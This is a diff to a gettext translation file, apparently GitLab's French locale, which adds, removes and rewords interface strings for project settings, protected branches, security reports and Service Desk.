+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr "Impossible de mettre à jour l’étiquette !"
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr "Ce paramètre s’applique au niveau du serveur, mais il a été outrepa
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr "Ce paramètre s’appliquera à tous les projets à moins qu’un administrateur ou une administratrice ne l’outrepasse sur certains projets."
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,8 +25424,8 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
-msgstr "Référence :"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr ""
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,8 +25966,8 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
-msgstr "Classe"
+msgid "Reports|Base report parsing error:"
+msgstr ""
msgid "Reports|Classname"
msgstr ""
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr "Échec"
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr "Profils de requêtes"
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr "En cours d’exécution"
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr "Enregistrer les modifications avant de tester"
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr "Planifications"
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr "Planification des pipelines"
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr "Rechercher des demandes de fusion"
msgid "Search milestones"
msgstr "Rechercher des jalons"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr "Rechercher ou filtrer les résultats…"
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,8 +27554,8 @@ msgstr "Sélectionnez un groupe à inviter"
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
-msgstr "Sélectionnez un espace de noms afin de créer une divergence du projet"
+msgid "Select a milestone"
+msgstr ""
msgid "Select a new namespace"
msgstr ""
@@ -26909,9 +27584,15 @@ msgstr "Sélectionnez un fuseau horaire"
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr "Sélectionnez le projet afin de choisir la zone"
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,20 +27881,44 @@ msgstr "Service d’assistance"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr "Modèles de service"
+
+msgid "Service URL"
+msgstr "URL du service"
+
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service Templates"
-msgstr "Modèles de service"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
-msgid "Service URL"
-msgstr "URL du service"
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
+msgstr ""
msgid "Session ID"
msgstr ""
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "définir un mot de passe"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr "Effacer l’état"
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "Modifier l’état"
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr "Quel est votre état ?"
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr "côte à côte"
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr "Envoyer la revue de code"
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr "Analyse de la couverture des tests"
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "L’importation expirera après %{timeout}. Pour les dépôts qui prennent plus de temps, utilisez une combinaison de clone et push."
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr "La collecte de données du pseudonymiseur est désactivée. Lorsque cett
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "L’étape de pré-production indique le temps entre l’acceptation d’une demande fusion et le déploiement du code dans l’environnent de production. Les données seront automatiquement ajoutées lorsque vous aurez fait votre première mise en production."
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr "Il n’y a pas encore de projets archivés"
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr "Il n’y a aucun ticket à afficher"
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr "Une erreur s’est produite lors de la réinitialisation du jeton de cou
msgid "There was an error when subscribing to this label."
msgstr "Une erreur s’est produite lors de l’abonnement à cette étiquette."
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr "Une erreur s’est produite lors de la désinscription à cette étiquette."
@@ -30385,7 +31131,7 @@ msgstr "La portée de ce tableau est réduite"
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr "Ce groupe"
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr "Ces courriels deviennent automatiquement des tickets (dont les commentaires résultent de la conversation par courriel) répertoriés ici."
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr "Vers GitLab"
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
